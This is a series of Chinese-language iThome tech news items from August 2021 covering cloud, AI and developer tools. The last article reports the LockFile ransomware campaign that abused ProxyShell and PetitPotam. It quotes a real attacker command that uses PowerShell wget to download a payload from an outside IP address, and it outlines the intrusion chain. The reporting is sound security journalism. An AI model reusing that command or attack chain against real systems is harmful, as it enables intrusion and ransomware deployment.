https://aws.amazon.com/tw/blogs/aws/introducing-amazon-memorydb-for-redis-a-redis-compatible-durable-in-memory-database-service/">（詳全文）</a></p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> Google雲端 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 零信任解決方案 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 應用程式存取 </span></strong></span> </p> <p><strong style="font-size: 22px;"><span style="font-size:22px;"><strong>Google企業級零信任解決方案新增3項功能，管理員可制定更精細的存取控制政策</strong></span></strong></p> <p>Google近期為雲端零信任解決方案BeyondCorp Enterprise，加入3項新功能，來優化終端使用者對關鍵應用程式的存取能力。第一項新功能是基於憑證的存取控制，供用戶透過VPC服務控制GCP API，能夠防止憑證被盜或是意外被洩漏。現在Google對8種類型的VPC服務控制資源，提供客戶端憑證原生支援，包括GCE、GKE、BigQuery和Logging等。另一項新功能是提供本地端連接器，讓用戶連接本地資源時，能夠使用身份感知代理（IAP），保護Google雲端之外的HTTP或HTTPS本地應用程式。最後，Google為零信任政策引擎添加了多種零信任存取條件，供管理員利用3種新屬性，包含時間和日期、證書強度以及Chrome瀏覽器，制定高精細度的存取控制政策。<a href=" https://cloud.google.com/blog/products/identity-security/new-beyondcorp-enterprise-zero-trust-capabilities">（詳全文）</a></p> <p><strong>圖片來源／Inchcape Américas、微軟、Gartner、AWS</strong></p> <p><strong><span style="background-color: rgb(51, 153, 255);"> <span style="color:#FFFFFF;">更多Cloud動態 </span> </span></strong></p> <p><strong>1.Azure Virtual Desktop現在支援Windows 11，可經由Windows Insider測試方案取得</strong><a href=" https://techcommunity.microsoft.com/t5/azure-virtual-desktop/windows-11-preview-is-now-available-on-azure-virtual-desktop/ba-p/2666468">（詳全文）</a></p> <p><strong>2.CDN業者Cloudflare近期阻攔一波大規模鎖定金融業的DDoS攻擊，每秒發出逾1,700萬次HTTP請求</strong><a href=" https://blog.cloudflare.com/cloudflare-thwarts-17-2m-rps-ddos-attack-the-largest-ever-reported/">（詳全文）</a></p> <p><strong>3.微軟預告明年3月調漲企業版Office 365、Microsoft 365價格</strong><a href=" https://www.microsoft.com/en-us/microsoft-365/blog/2021/08/19/new-pricing-for-microsoft-365/">（詳全文）</a></p> <p><strong>資料來源：iThome整理，2021年8月</strong></p> </div></div></div>
2021/8/27 09:48作者黃郁芸https://www.ithome.com.tw/news/146413
Google機器學習平臺Vertex AI現提供低延遲高安全性的私有端點
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>Google宣布在其機器學習平臺Vertex AI上提供<a href="https://cloud.google.com/blog/products/ai-machine-learning/creating-a-private-endpoint-on-vertex-ai">私有端點</a>（Private Endpoints），這是Vertex Predictions中的一項新功能，藉由VPC對等連接，用戶可以配置專用的連接與端點通訊，因此用戶的資料就不需要經過網際網路，不只提高安全性，也可以降低線上預測的延遲。</p> <p>Vertex AI是Google在2021年開發者大會Google I/O，所發布的全託管機器學習平臺，該平臺由一系列機器學習工具組合而成，簡化企業部署和維護機器學習模型的工作。Vertex AI解決機器學習工具過於破碎，使得開發流程不順暢的問題，Vertex AI提供一致的UI和API，供用戶簡單地操作Google雲端服務，來簡化建構、訓練和部署大規模模型的任務。</p> <p>Google提到，要即時提供機器學習模型預測是一大挑戰，能夠低延遲提供結果，對各產業的機器學習應用都非常重要。而這也就是Google推出Vertex AI私有端點的原因，應用VPC對等連接提供低延遲的網路連接。</p> <p>VPC網路是一種全域資源，由資料中心的地區虛擬子網所構成，所有子網都透過全域網路連接，藉由VPC網路對等連接，用戶可以跨兩個VPC網路連接內部IP地址，無論IP地址是否屬於同一專案或是同一組織，最終使得所有流量都能留在Google網路中。</p> <p>Vertex AI供用戶使用Vertex Predictions，以無伺服器的方式提供機器學習模型服務，用戶可以在雲中託管模型，並且透過REST API進行預測。當用戶要在線上進行模型預測，則需要將模型部署到端點，用戶能選擇端點機器類型和自動縮放等參數，提供低延遲的預測服務。</p> <p>而現在用戶還可以選擇創建私有端點，限制資料永不穿過網際網路，所以私有端點除了能降低系統收到請求的時間，還具有安全性優勢，Google提到，部署模型至私有端點的額外開銷很小，而且實現的效能幾乎與在GKE或GCE自己提供服務相同。</p> </div></div></div>
2021/8/27 09:49作者李建興https://www.ithome.com.tw/news/146415
GitLab 14.2開放測試macOS版建置雲，並可即時預覽Markdown輸出
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>新發布的<a href="https://about.gitlab.com/releases/2021/08/22/gitlab-14-2-released/#track-use-of-dependency-scanning-and-fuzz-testing">GitLab14.2</a>，更新了不少好用的新功能，像是現在開發者可以在macOS用到建置雲（Build Cloud）。原本GitLab SaaS上Apple生態系開發人員，需要在自己的macOS系統上安裝GitLab Runner，來執行CI/CD工作流程。</p> <p>但現在於全新的版本上，開發者可以使用適用於macOS的Build Cloud測試版建置應用程式，Build Cloud是一個由GitLab Runner為基礎的建置平臺，並與GitLab SaaS CI/CD整合。獲准的用戶和開源社群計畫成員，已經可以開始使用該Build Cloud測試版，官方提到，用戶仍可以在任何Apple環境、MacStadium和AWS上安裝macOS Runner。</p> <p>GitLab14.2還讓用戶在編輯時，即時預覽Markdown。Markdown是一種快速直覺的語法，可用來編寫豐富的網頁內容，雖然用戶可以從預覽頁籤中，方便地預覽Markdown的渲染輸出，來確定Markdown的效果，但在原始碼和預覽之間切換，可能會破壞用戶的工作流程和體驗。</p> <p>而新的即時預覽功能，在網頁IDE和單一檔案編輯器中，Markdown檔案會出現新的即時預覽選項，只要右鍵點擊編輯器並選擇預覽Markdown，就可以分割螢幕即時預覽Markdown效果，預覽結果會在用戶輸入時即時更新，因此用戶便能快速確認標籤效果，並且確定最終檔案和預期相符。</p> <p>另外，早在GitLab 13.5中整合的Gitpod，可供開發者管理複雜的開發環境，只要在程式碼中定義專案配置後，就能藉由點擊滑鼠，快速啟動預建置的雲端開發環境，官方提到，這種工作流程雖然方便，但是啟動Gitpod環境來審查現有合併請求，這代表切換到目標分支並再次執行建置之前，需要針對主分支建置一個環境。</p> <p>而在GitLab 14.2中，開發者可以直接從合併請求頁面啟動Gitpod，並預先配置使用目標分支，這能夠加快審查速度，並且減少上下文切換。</p> </div></div></div>
2021/8/27 10:05作者李建興https://www.ithome.com.tw/news/146414
微軟終止Android版Office支援Chromebook
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>Chromebook上要使用Office變得更不方便了。<a href="https://www.aboutchromebooks.com/news/microsoft-ending-chromebook-support-for-office-android-apps-in-september/" target="_blank">媒體發現</a>，微軟悄悄終止Android版Office對 Chromebook的支援，用戶必須上網使用Web版Office。</p> <p>近日漸漸有Chromebook用戶反映Android版Office啟動時，會接獲系統通知指不應該再使用這個應用程式，應連到Office.com使用Web版。AboutChrombooks本周取得微軟回應證實此事。微軟指出，為提供ChromeOS/Chromebook用戶最佳化的體驗，2021年9月18日起微軟應用（Office及Outlook）將轉換成Web體驗（Office.com和Outlook.com）。微軟表示，用戶可以因此獲得「額外且優質」功能，但ChromeOS/Chromebook用戶必須以其微軟帳號或和Microsoft 365訂閱關聯的帳號登入使用。</p> <p>另一方面，微軟還是提供Android版Office，只是不再供Chromebook用戶使用Android版本。媒體分析，這或許是Chromebook一般裝置螢幕尺寸較手機大，使用手機版Office有顯示上的問題，Office團隊必須為其最佳化。然Chromebook雖然出貨持續增多，但數量上仍屬小眾，因此微軟並不想投入資源為Chromebook最佳化一個專用行動版本Office。</p> <p>而這政策方向也已反映在微軟公告網頁上。截至7月17日，針對在Chromebook上執行Office，<a href="https://web.archive.org/web/20210731012201/https://support.microsoft.com/en-us/office/how-to-install-and-run-microsoft-office-on-a-chromebook-32f14a23-2c1a-4579-b973-d4b1d78561ad" target="_blank">微軟提供的指示</a>是到Google Play Store下載想要的Office應用，如Word、Outlook或Teams。而在<a href="https://support.microsoft.com/en-us/office/how-to-install-and-run-microsoft-office-on-a-chromebook-32f14a23-2c1a-4579-b973-d4b1d78561ad" target="_blank">現有版本</a>，微軟則是要求用戶到<a href="http://www.office.com">www.office.com</a>上，以登入微軟或Microsoft 365關聯的帳號使用。</p> <p>但The Verge分析，這其實也是大趨勢之一，因為ChromeOS上跑Android App效能本來就不好，新一代的PWA可以跨平臺執行，只要有現代化的瀏覽器即可，就連<a href="https://www.ithome.com.tw/news/137000" target="_blank">Google也力推</a>ChromeOS上以PWA取代Android版本。不過PWA只有裝置連網時才能執行，因此如果Chromebook用戶9月後再使用Office，勢必會變得更麻煩一點。</p> </div></div></div>
2021/8/27 10:15作者林妍溱https://www.ithome.com.tw/news/146416
AI趨勢周報第175期：為何20分鐘的對話時間，是今年Amazon對話式AI挑戰賽最大亮點？
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <h3><span style="vertical-align: top; color: rgb(0, 0, 255);">重點新聞(0820～0826)</span></h3> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);">對話式AI </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> Alexa Prize </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> SocialBot </span></strong></span></p> <p><span style="font-size: 22px;"><strong>AI和真人天南地北暢聊20分鐘破紀錄，Amazon年度社交機器人挑戰賽最大突破</strong></span></p> <p>Amazon連年舉辦的Alexa Prize社交機器人（SocialBot）挑戰賽最近落幕，前三名由捷克科技大學、史丹佛大學、紐約州立大學水牛城分校等三組團隊拿下，更重要的是，他們的社交機器人與真人的對話，從體育、政治、科技到流行無所不聊，甚至最長可持續<a href="https://venturebeat.com/2021/08/19/amazon-taps-its-socialbot-challenge-to-boost-conversational-ai/">20分鐘</a>之久，沒有冷場，打破了過往社交Chatbot競賽的紀錄。</p> <p>Chabot一直是企業關注的領域，從早期文字QA、多輪對話再到近來的對話式AI，都是要藉自然語言處理（NLP）技術，來提供更接近真人的溝通服務。</p> <p>Amazon舉辦挑戰賽的初衷也是如此。今年的挑戰賽目標，不只要Chatbot達到連貫性、上下文理解、流暢回應，還包括對話時間。今年，所有決賽團隊的平均對話時間為12分42秒，是2020年決賽團隊的2倍以上，更有一組團隊展現良好的對話品質，得到滿分5分肯定。</p> <p>Alexa AI自然語言理解副總Prem Natarajan指出，平均對話時間是一個重要指標，能用來判斷參賽機器人的互動連貫性和流暢度。對話時間能拉長，就表示細部技術大有進展，比如神經回應生成模型（Neural response generation）、常識知識表徵（Common sense knowledge representations）、對話建模、對話策略，以及用大規模Transformer模型強化的自然語言理解系統。這次挑戰賽的成績，顯示了NLP領域研究再次躍進。<a href="https://www.amazon.science//academic-engagements/czech-technical-university-team-wins-alexa-prize-socialbot-grand-challenge-4">（詳全文）</a></p> <p> </p> <div class="media_embed" height="516px" width="918px"> <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen="" frameborder="0" height="516px" src="https://www.youtube.com/embed/1Cm36w3GLKw" title="YouTube video player" width="918px"></iframe></div> <p> </p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> Uber </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 模型調校 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 機器學習 </span></strong></span></p> <p><span style="font-size: 22px;"><strong>兼顧品質又能減少專家勞力，Uber ML開發平臺靠3大心法高度自動化</strong></span></p> <p>對Uber來說，機器學習（ML）模型是執行核心業務決策的重要工具。但模型進入生產環境前，得經過實驗階段，仰賴專家探索特徵、調校參數，或執行離線分析、背景測試等等。不過，隨著模型開發工作越多，AI專家人力的需求也越大。如何兼顧模型品質，又能減少對專家勞力的依賴，Uber日前在自家部落格上，接露了自家ML開發平臺米開朗基羅的三大關鍵，透過超參數優化、及早停止、特徵轉換等方法，來提高模型開發的自動化程度。</p> <p>首先，在超參數優化部分，他們用樹狀模型找出已知問題類別的參數，比如針對二元分類問題進行AUC優化、對回歸問題就用MSE優化，也採用目標函數，讓專家針對特定問題，選擇合適的優化目標。為避免過度擬合，Uber在優化函數中加入「懲罰條件」，來捕捉訓練合測試間的表現差異。</p> <p>接著，為加速龐大資料集的超參數搜尋，Uber設計了一項「及早停止」機制，來制止無效的超參數優化。這個機制，能搭配用來評估ML模型表現的學習曲線，來節省無意義的試驗，降低時間和運算成本。</p> <p>最後一項作法，Uber轉換了他們訓練ML模型時常用的地理空間特徵，將經度和緯度轉換為不同的嵌入向量，從中抽取出地理空間訊號。Uber也設計一個自動機制，將主要複合特徵自動併入樹狀模型的訓練，並自動移除重要性較低的複合特徵。</p> <p>不只是這三大機制，Uber米開朗基羅平臺還提供一些輔助工具，來執行重複性高的調校工作，如模型架構搜尋、決定特徵綜效等。整體來說，這些強化機制讓Uber可用單一框架，來一般迭代性的調校工作，也能對已部署的ML模型，進行一次性的全面調校。<a href="https://eng.uber.com/tuning-model-performance/">（詳全文）</a></p> <p><img alt="" src="https://1fykyq3mdn5r21tpna3wkdyi-wpengine.netdna-ssl.com/wp-content/uploads/2021/07/Featured-Image-768x614.png" /></p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> IIBM </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 數位分身 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 市集 </span></strong></span></p> <p><span style="font-size:22px;"><strong>IBM布局數位分身服務，打造專屬市集銷售各種實體設備的數位分身</strong></span></p> <p>IBM不只布局IT、雲端和AI市場，近來也看好數位分身，大推數位分身交換（IBM Digital Exchange）服務，提供了一個線上市集來銷售實體設備的數位分身。</p> <p>主導IBM數位分身研究的IBM傑出工程師Lisa Seacat DeLuca近日<a href="https://venturebeat.com/2021/08/16/how-ibm-is-using-digital-twins-to-optimize-ai/">在媒體上透露</a>，IBM數位分身不只限於一般熟知的工業設備，「只要是能產生數位表徵的物體，都可以建立分身。」她強調，數位分身和AI一體兩面，數位分身能更有效地監控、分享資料，並用這些資料來改善AI模型，同時幫助企業更了解他們的資產。</p> <p>IBM早在去年推出數位分身交換市集，供企業買方和IBM合作夥伴生態系成員交易，IBM合作夥伴可出售故障診斷碼、維護計畫、3D模型及其他與實體物件相關的資料，來讓企業購買。</p> <p>DeLuca指出，這只是數位分身的初步應用，IBM還推出Maximo企業資產管理服務，可進一步搭配數位分身，來預測資產效能、預先維護。<a href="https://www.ibm.com/products/digital-twin-exchange">（詳全文）</a></p> <p><img alt="" src="https://1.cms.s81c.com/sites/default/files/2021-06/Digital_twin_exchange_overview.jpg" /></p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 大型主機 </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> AI推論 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> Telum處理器 </span></strong></span></p> <p><span style="font-size:22px;"><strong>高頻交易風險運算能更快！IBM發布首款大型主機的AI加速處理器，率先用於金融業</strong></span></p> <p>還在用大型主機的金融業者有好消息了！IBM日前展示一款自行研發的7奈米處理器Telum，具AI加速運算處理能力，將用於下一代IBM Z大型主機上，來解決銀行詐騙、高頻交易等金融難題。IBM透露，首款採用Telum處理器的IBM系統，將於2022年上半年上市。</p> <p>IBM花了三年時間打造這顆新處理器，未來將由三星生產。IBM指出，金融業者可將訓練好的AI模型打包，部署到採用Telum處理器的IBM系統上，來執行模型推論。如此，就能加速金融AI應用，比如用AI進行金融詐騙偵測、用機器學習加速銀行貸款審核，或是處理高吞吐量的金融交易、反洗錢和風險分析等。</p> <p>目前，臺灣仍有不少大型金融業者的核心系統硬體，採用大型主機，這也將成為Telum處理器搶攻的市場。<a href="https://www.ibm.com/blogs/systems/ibm-telum-processor-the-next-gen-microprocessor-for-ibm-z-and-ibm-linuxone/">（詳全文）</a></p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> VS Code 1.59 </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 程式語言 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 機器學習 </span></strong></span></p> <p><span style="font-size:22px;"><strong>VS Code新版能自動判斷不明檔案中的程式語言！</strong></span></p> <p>微軟程式碼編輯器VS Code釋出最新1.59版，不只更新圖形介面區域和編輯器，還加入一項預覽功能，能用機器學習技術自動判斷未命名檔案使用的程式語言。</p> <p>這個功能以開源機器學習函式庫Tensorflow.js和社群所貢獻的機器學習模型打造而成。開發者手動啟用該功能後，VS Code就會在撰寫程式的同時偵測語言，並推薦安裝相對應的擴充套件。用戶也可設定對特定語言不啟用自動偵測功能，比如停止自動偵測Markdown無標題檔案等。<a href="https://code.visualstudio.com/updates/v1_59#_terminal">（詳全文）</a></p> <p><img alt="" src="https://code.visualstudio.com/assets/updates/1_59/terminal-dnd.gif" /></p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 高通 </span></strong></span> <span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> 無人機平臺 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> AI引擎 </span></strong></span></p> <p><span style="font-size:22px;"><strong>高通發表新一代5G AI無人機平臺</strong></span></p> <p>高通推出全球第一個5G AI無人機平臺Flight RB5 5G，可用來加速各種無人機應用的開發。該平臺具備第5代高通AI引擎，可處理複雜的電腦視覺、感知和自主性功能等任務，比如多目標偵測和追蹤、數位雲臺和立體視野深度，以及路徑規畫、障礙物迴避等功能。</p> <p>另一方面，平臺還具8個QRB5165中央處理器、1個GPU和1個神經處理引擎，還有能捕捉4K和8K解析度影片的攝影鏡頭，可提供電子影像穩定器、水平功能和數位變焦等功能，拍攝出電影品質的影像。而5G和Wi-Fi 6連接能力，能實現長達8公里的可視距離飛行。高通Flight RB5 5G無人機參照設計現在於無人機製造商ModalAI上預售，而開發套件則預計在今年第4季上市。<a href="https://www.qualcomm.com/news/onq/2021/08/17/qualcomm-flight-rb5-5g-platform-worlds-first-5g-and-ai-enabled-drone-platform">（詳全文）</a></p> <p><img alt="" src="https://www.qualcomm.com/sites/ember/files/styles/optimize/public/blog/managed-images/qc_onq_flightrb5platform_inline-image.png?itok=8tvgKr4j" /></p> <p>圖片來源／Amazon、Uber、IBM、微軟、高通</p> <p><span style="color:#FFFFFF;"><strong><span style="background-color:#3399ff;"> AI趨勢近期新聞 </span></strong></span></p> <p><strong>1. 馬斯克描繪特斯拉人形機器人Tesla Bot，預計明年推出原型機</strong></p> <p><strong>2. SAP併購AI人力資源平臺SwoopTalent</strong></p> <p><strong>3. 史丹佛大學200頁報告詳解超大預訓練模型的優劣和風險</strong></p> <p>資料來源：iThome整理，2021年8月</p> <div id="gtx-trans" style="position: absolute; left: 1206px; top: 226.203px;"> <div class="gtx-trans-icon"> </div> </div> </div></div></div>
2021/8/26 18:21作者王若樸https://www.ithome.com.tw/news/146407
金管會完成第一家公雲虛擬稽核，Google臺灣資料中心是第一家
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>Google雲端臺灣總經理謝良承今日（8/26）在國泰金控技術年會一場座談中透露，Google雲端臺灣資料中心已在今年初完成金管會第一次的虛擬稽核了，成為第一家在臺灣完成政府機關稽核的公有雲業者。</p> <p>這項藏在謝良承回覆對談提問的資訊，可說是臺灣企業朝雲端發展的一項重磅消息，特別是對須遵循嚴謹資料保護法規的金融業和醫療業的企業。因為，這代表Google雲端資料中心不只符合國際規範，現也符合了臺灣法規的規範。</p> <p>金管會於2019年時已宣布開放金融業者上雲，因視銀行上雲為委外作業，所以，在監督、稽核、緊急應變等面向皆對金融機構有所要求和規範，使得金融業在上雲之路上，仍然面對不少挑戰，特別是須確保監管機關可查核雲端業者。</p> <p>如今，謝良承在出席座談活動表示：「Google Cloud是唯一一家（公有雲業者）透過政府，今年年初完成臺灣資料中心的第一次虛擬稽核。」經由記者進一步與Google臺灣確認，獲知Google雲端是透過金管會認可的獨立第三方稽核單位，完成對Google雲端臺灣資料中心的虛擬稽核作業。</p> <p>Google領先其他公有雲業者，成為首家在臺完成政府稽核的業者，勢必會加快其他業者完成稽核的速度，有機會帶動新一波企業上雲的浪潮。</p> <p>且除了金管會已開放銀行上雲，身為醫療院所監管單位的衛福部也正在準備開放電子病歷上雲。衛福部資訊處處長龐一鳴於今年5月宣布，衛福部已整合電子病歷上雲託管草案的內部意見，會公開草案以徵詢外部意見。金管會搶先落實的上雲委外作法，也可能成為醫療業上雲規範的參考。</p> <p>不過，現階段Google是三大公有雲業者中，唯一在臺有資料中心已投入運轉的業者。2013年時，Google啟用位在彰化彰濱工業區的旗下臺灣首座資料中心，目前已擴建到第四期，之後，又分別在2019年時，宣布在臺南科技工業園區內，興建在臺第二座資料中心，以及在2020年時，對外證實已在雲林斗六購買6萬坪土地，確定會建立在臺第三座資料中心。總計Google在臺共有三座機房的營運計畫。</p> <p>而身為公有雲第二大業者的微軟，則是在去年10月時宣布，將在臺灣建立Azure區域級雲端資料中心。目前有消息傳出，微軟將在今年底或是明年初啟用臺灣資料中心。</p> <p>三大公有雲業者中僅剩下龍頭AWS，至今尚未發布任何資料中心落地臺灣的興建計畫。相關的消息仍停留在，2017年時，AWS臺灣辦公室送交在臺設立資料中心的第二輪評估報告，給美國總部做進一步的評估。文⊙黃郁芸</p> </div></div></div>
2021/8/26 17:11作者黃郁芸https://www.ithome.com.tw/news/146405
勒索軟體LockFile濫用PetitPotam漏洞，掌控AD網域伺服器
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>新的勒索軟體攻擊大肆濫用近期公開的重大漏洞，而使得企業與組織難以招架。例如，<a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows">賽門鐵克揭露一起名為LockFile勒索軟體的攻擊行動</a>，其中攻擊者先是經由Exchange郵件伺服器，入侵企業內部網路環境，接下來再藉著<a href="https://www.ithome.com.tw/news/145919">PetitPotam漏洞（CVE-2021-36942）</a>，控制AD網域伺服器，並感染內網的電腦。</p> <p>這起攻擊行動賽門鐵克最早在7月20日發現，受害者是美國的金融組織，而該公司看到最新的攻擊出現於8月20日，至少有10個組織遭到LockFile攻擊，受害組織遍及全世界，但多數位於美國及亞洲。</p> <p>對於LockFile受害組織的類型，包括製造業、金融服務、工程公司、法務公司、商業服務，以及旅遊業等。</p> <p>至於攻擊者的身分為何？賽門鐵克指出，根據駭客留下來的勒索訊息中，提供受害者聯繫的電子郵件信箱<a href="mailto:contact@contipauper">contact@contipauper</a>[.]com，可能是與Conti相關的駭客組織所為。而這個勒索訊息的畫面，也與日前<a href="https://www.ithome.com.tw/news/146157">攻擊大型IT顧問公司Accenture的LockBit</a>極為相似，但這兩個勒索軟體之間是否有所關連？賽門鐵克沒有進一步說明。</p> <p><a href="https://s4.itho.me/sites/default/files/images/Figure 1_0-s.png"><img alt="" src="https://s4.itho.me/sites/default/files/images/Figure%201_0-s.png" style="width: 580px; height: 232px;" /></a></p> <h2><strong>攻擊者先占據Exchange伺服器，再藉由AD網域伺服器「派送」勒索軟體</strong></h2> <p>針對於LockFile攻擊的過程，賽門鐵克提出進一步的說明。攻擊者先是入侵Exchange郵件伺服器，並下達PowerShell命令，試圖使用Wget程式下載檔案，但究竟攻擊者下載了什麼？賽門鐵克表示不得而知，僅表示在發動勒索軟體攻擊之前，駭客會維持存取受害組織的網路數日。</p> <p>直到即將植入勒索軟體的前20至30分鐘，攻擊者會在上述遭到入侵的Exchange郵件伺服器上，開始部署一組工具，分別是efspotato.exe、active_desktop_render.dll，以及active_desktop_launcher.exe等3個檔案。</p> <p>其中，efspotato.exe是PetitPotam漏洞的濫用工具，疑似來自GitHub上的概念性驗證（PoC）工具；而active_desktop_launcher.exe是合法應用程式，它是中國酷狗音樂所推出的動態桌面軟體（KuGou Active Desktop），攻擊者將它用來側載惡意程式庫active_desktop_render.dll。</p> <p>這個惡意DLL一旦被成功載入，就會企圖解密伺服器本機上一個名為desktop.ini的檔案。如果這個INI檔案成功解密，將會執行Shellcode。賽門鐵克表示，目前他們尚未取得這個desktop.ini進行分析，而無法進一步說明過程中執行了那些行為。</p> <p>而賽門鐵克推測，這個加密Shellcode的用途，應該就是啟動efspotato.exe，濫用PetitPotam漏洞攻擊AD網域伺服器。該公司強調，雖然<a href="https://www.ithome.com.tw/news/146154">微軟已於8月的例行修補（Patch Tuesday）提供修補程式</a>，但隨後有資安研究人員指出，修補程式並未完全修補這項漏洞，<a href="https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1">而能夠在已經安裝修補程式的Windows伺服器上重現</a>。</p> <p>一旦成功存取AD網域伺服器，攻擊者就會在網域伺服器的指定資料夾（sysvol\domain\scripts）中，「部署」LockFile勒索軟體相關檔案，而上述提及的資料夾路徑，就是所有的網路使用者向網域控制器執行身分驗證時，用來部署指令碼（Script）的資料夾。換言之，只要電腦使用者登入網域，電腦就會複製LockFile的檔案並且執行，將電腦的檔案加密。</p> <h2><strong>攻擊者入侵的管道竟是運用甫被揭露的Exchange重大漏洞ProxyShell</strong></h2> <p>揭露此事的賽門鐵克表明，本次攻擊行動仍有多處細節仍不明朗，尤其是攻擊者入侵Exchange伺服器的手法，仍有待調查。不過，有資安研究人員根據蜜罐（Honeypot）所收集的情報，指出LockFile攻擊者就是利用ProxyShell漏洞來下手。</p> <p><a href="https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c">資安研究人員Kevin Beaumont於8月21日指出</a>，他的蜜罐在8月13日，偵測到濫用ProxyShell漏洞的攻擊行動，駭客試圖在蜜罐植入Webshell，而且，多數防毒軟體無法識別這個Webshell檔案有害。這個攻擊引起Kevin Beaumont注意的原因，就是攻擊來源IP位址與賽門鐵克揭露的一致。</p> <p>事隔3日，Kevin Beaumont看到駭客再度入侵蜜罐，並且下達新的攻擊命令與植入LockFile檔案。也就是說，攻擊者最初入侵Exchange伺服器的手段，就是濫用ProxyShell漏洞。</p> <blockquote class="twitter-tweet"><p dir="ltr" lang="en" xml:lang="en">Another ProxyShell attack, actions on target:</p> <p>"C:\Windows\System32\cmd.exe" /c powershell wget <a href="http://209.14.0.234:55676/P0BV1KrEwh8Xgeo6ctNq">http://209.14.0.234:55676/P0BV1KrEwh8Xgeo6ctNq</a> <a href="https://t.co/5YxPBYPt9F">https://t.co/5YxPBYPt9F</a></p> <p>— Kevin Beaumont (@GossiTheDog) <a href="https://twitter.com/GossiTheDog/status/1427225282713427968?ref_src=twsrc%5Etfw">August 16, 2021</a></p></blockquote> <script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script><p>針對這項發現，Kevin Beaumont指出，雖然這組漏洞微軟已於4月發布修補程式，但相較於另一組在3月修補的重大漏洞ProxyLogon，他認為攻擊者濫用ProxyShell的門檻較低，而且大型組織很可能還沒有安裝修補程式，而導致攻擊者能輕易入侵Exchange伺服器。而ProxyShell已被駭客大肆濫用的現象，也使得<a href="https://www.ithome.com.tw/news/146353">美國網路安全及基礎設施安全局（CISA）提出呼籲</a>，企業應儘速修補Exchange伺服器。</p> <p>對於LockFile勒索軟體攻擊濫用ProxyShell漏洞的行為，也有另一家資安業者TG Soft揭露他們的看法，並<a href="https://twitter.com/VirITeXplorer/status/1428750497872232459">公布了攻擊流程圖</a>，指出攻擊者在使用了efspotato.exe之後，使用了<a href="https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/#ransomware-payloads">Vatet Loader</a>來載入滲透測試工具Cobalt Strike，進而更動群組原則來散布勒索軟體LockFile。</p> <p><a href="https://s4.itho.me/sites/default/files/images/E9Pv92oXIAwh2oC-s.png"><img alt="" src="https://s4.itho.me/sites/default/files/images/E9Pv92oXIAwh2oC-s.png" style="width: 580px; height: 177px;" /></a></p> </div></div></div>
2021/8/26 17:50作者周峻佑https://www.ithome.com.tw/news/146406
小米買下自駕車新創Deepmotion
